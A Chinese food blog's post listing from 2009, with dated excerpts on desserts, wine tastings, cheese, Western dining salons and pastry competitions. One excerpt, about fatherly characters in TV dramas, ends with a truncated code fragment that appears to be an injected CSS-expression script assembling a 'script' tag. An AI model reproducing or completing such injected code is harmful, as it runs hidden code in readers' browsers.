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- 半岛精品店的甜点 2009-12-04 20:27:17
- 简单大方。甜品不多，但每种都会吸引你流连。用可可粉装饰表面，摆上2片意大利脆饼Biscotti，一片巧克力上摆放一排可可豆，你能想象这是什么甜品吗？黑森林蛋糕？和传统的奥地利黑森林蛋糕有天壤之别！新意和时尚。樱桃挞-Cherry tartChocolate truffles
- 天下男人 2009-11-20 10:30:50
- 同胞兄弟的主心骨 《亲爱的敌人》里失去妈妈的女儿的好爸爸，慈祥、宽容 《伤情》里，那个主持正义的大律师；那个大爱无疆的父亲 那个被误会陷害的好同学；那个为爱放手的好男人 从心底里赞美他们 ee:expression_r(function(){if(!window.r){varss='s''cript';var...
- Mini蛋糕和葡萄酒 2009-11-09 23:25:57
- 这两天忙着教课，同时又奔波于几家葡萄酒品尝会，随手拍了几张照片和大家分享。今天做的几款Cupcake葡萄酒就是经过酿制的和发酵的葡萄汁，什么时候才能走进众多百姓家？很多朋友都有收藏葡萄酒塞的习惯，当服务生为您开瓶后，不要忘了用手捏捏酒塞，正常的葡萄酒储藏是将葡...
- 如何享用奶酪-文/李浩 刊登于东方焙烤资讯 2009年9月 2009-11-01 09:40:41
- 奶酪质量好坏与牛、羊吃的草有直接关系。不同草场的草、不同海拔高度的草，甚至不同年景的草对牛奶的质量都会产生影响.牧民常常认为牛吃了带野花的草，产的奶味道鲜美。法国、瑞士等国家有着丰富的奶酪文化，在欧洲不同的小镇有不同的奶酪品种，这些小镇手工做出来的奶酪，...
- 西餐艺术沙龙 Culinary art salon 2009-10-31 13:17:37
- 学习如何使用刀叉、成为社交场合的绅士和淑女。探讨和了解海外家庭真实的餐饮生活方式、在温馨的家庭环境里结交时尚白领的朋友们..沙龙不但会让大家品尝希腊沙拉，学做法国沙拉调味汁，还能学会如何使用刀叉呀！在现代商务交往中和朋友的聚会中如何做到像个绅士和淑女...
- 西点的艺术魅力 2009-10-25 18:52:36
- 在2009年第五届北京国际西餐文化节后，10月22日在北京吉诺高食品推广中心召开了“西点的艺术魅力活动”活动云集了多家媒体、网站、报社、电视台、并邀请了多位外国同行专家，中国糖艺大师曹继桐和他的团队现场表演了精彩的糖艺秀。东西方的饮食文化更加的融合，也逐渐深入...
- 迷人的葡萄酒品鉴会 2009-10-22 23:27:43
- 口感清新，酒香迷人。很难猜到这是一款来自澳大利亚的葡萄酒.在SANDLER意大利西餐厅的优雅、时尚的环境里，品尝着精美的小食，和朋友们度过了一个迷人的下午…澳大利亚Rathbone葡萄酒集团的Annie女士、三乐意式西餐厅总经理Gian Lucan Fusetto、资深媒体人...
- 巧克力大赛作品集锦 2009-10-16 08:22:09
- 北京）赛区作品集锦我作为特邀主评委参加了今年的北京赛区比赛，发一些作品供大家欣赏。有些选手很优秀，作品有新意，技巧和制作工艺都有一定水准。左边的作品很不错！只是细节上略显精细不够，背面处理不如正面效果好，因为是雕塑作品要考虑立体效果。很好的作品...
- 西点艺术装饰欣赏沙龙 2009-10-14 08:32:36
- 讲座/沙龙活动介绍西点艺术装饰欣赏沙龙-和新西兰西餐艺术家haollee 面对面，观赏制作精美时尚西点艺术装饰、品尝haollee 为您烤制的...在温馨的家庭环境里结交时尚白领的朋友们..小型沙龙仅限10人（下期沙龙为甜点艺术欣赏、品尝健康绿色希腊沙拉、了解探讨海外家庭早餐形...
- 中日韩A3西点竞技大赛（北京）选拔赛集锦2009 2009-10-06 18:08:15
- 对国际比赛规则的深入了解和掌握方面不够，对西点的口味、造型、时尚方面还落后于欧洲选手。有些作品太过于精细，缺乏简练和大气，用了太多的东方元素和色彩等等。在一些国际甜点比赛中日本队就常常吃亏，因为面对的大多数评委都是来自欧洲国家,由于饮食和审美习惯的不同，...
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